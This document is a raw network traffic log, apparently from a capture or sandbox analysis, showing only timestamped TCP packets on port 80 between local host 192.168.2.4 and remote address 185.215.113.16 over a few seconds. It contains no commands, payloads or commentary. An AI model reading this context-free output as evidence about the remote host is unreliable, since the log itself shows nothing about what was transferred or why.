Oct 31, 2024 04:15:14.335011959 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.373071909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.373085022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.373095036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.373121023 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.373159885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.373189926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.373194933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.373222113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.373228073 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.373231888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.373265982 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.476835966 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.476855993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.476867914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.476877928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.476893902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.476905107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.476922989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.476983070 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.476993084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477024078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477035046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477036953 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.477077007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477086067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477118969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477132082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477159023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477174997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477178097 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.477178097 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.477178097 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.477179050 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.477179050 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.477200985 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.477229118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477238894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477250099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477271080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477273941 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.477300882 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.477319956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477335930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477376938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.477430105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477441072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477473974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.477623940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477634907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.477662086 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.532427073 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.732039928 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.736829042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.085705996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.085781097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.085793018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.085843086 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.085930109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.085941076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.085951090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.085963011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.085973024 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.086000919 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.086112022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.086124897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.086141109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.086153984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.086179018 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.141822100 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.239932060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.239949942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.239974976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.239996910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240010023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240011930 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.240051031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240056038 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.240073919 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240086079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240088940 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.240125895 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.240134954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240145922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240159988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240175009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240187883 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.240228891 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.240267038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240281105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240319014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240324974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.240338087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240353107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240369081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240382910 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.240400076 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.240457058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240472078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240485907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240500927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240513086 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.240550041 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.240557909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240616083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240629911 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240670919 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.240678072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240693092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.240717888 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.282440901 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.396121025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396213055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396231890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396290064 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.396334887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396349907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396394014 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.396418095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396457911 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.396496058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396550894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396594048 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.396595001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396620035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396648884 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396688938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.396698952 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396725893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396739960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396752119 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.396780014 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.396790028 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396811962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396827936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396850109 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.396946907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396960974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396975040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.396980047 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.396990061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397005081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397010088 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.397051096 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.397083044 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397098064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397113085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397135019 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.397241116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397260904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397274971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397289038 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.397289991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397305965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397315979 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.397320032 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397347927 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.397383928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397423983 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.397427082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397442102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397454977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397476912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397490025 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.397516012 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.397561073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397583008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397603989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397618055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397629023 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.397633076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397658110 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.397836924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397851944 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397866964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397881985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397896051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397898912 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.397911072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397926092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.397936106 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.397953033 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.397964001 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.552503109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.552539110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.552550077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.552562952 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.552577972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.552617073 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.552647114 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.552660942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.552679062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.552691936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.552705050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.552717924 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.552720070 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.552740097 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.552740097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.552761078 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.552860022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.552881002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.552896023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.552901983 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.552910089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.552932024 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.552942991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.552957058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.552978992 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.553002119 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553014994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553035975 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.553129911 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553143978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553158045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553164005 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.553174973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553188086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553195000 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.553203106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553231001 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.553375006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553388119 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553400993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553416014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553436995 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.553442955 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553452015 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.553457022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553469896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553482056 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.553514957 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.553554058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553575039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553587914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553626060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.553657055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553669930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553683043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553692102 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.553697109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553718090 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.553766012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553805113 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.553812027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553883076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553896904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553910971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.553932905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.553955078 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.554011106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.554023981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.554035902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.554049969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.554061890 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.554064035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.554095984 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.554121017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.554169893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.554183960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.554207087 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.554227114 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.554239035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.554251909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.554289103 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.554322004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587186098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587203979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587219954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587265968 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.587296963 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.587476969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587492943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587517023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587531090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587539911 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.587546110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587559938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587575912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587591887 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.587618113 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.587622881 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587635040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587650061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587663889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587678909 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.587699890 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.587733984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587748051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587763071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587776899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587785959 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.587791920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587805986 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587821007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587826967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.587841988 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.587869883 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.587893009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587907076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587923050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587943077 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.587968111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.587984085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588006973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.588051081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588066101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588079929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588087082 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.588093996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588109970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588119984 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.588121891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588135958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588150024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588155985 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.588165998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588176012 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.588177919 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588211060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.588258028 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588268995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588282108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588295937 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.588332891 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.588349104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588363886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588376999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588391066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588402033 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.588407040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588419914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588428974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.588458061 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.588483095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588496923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588512897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588529110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.588532925 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.588574886 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.708187103 CET	80	49738	185.215.113.16	192.168.2.4
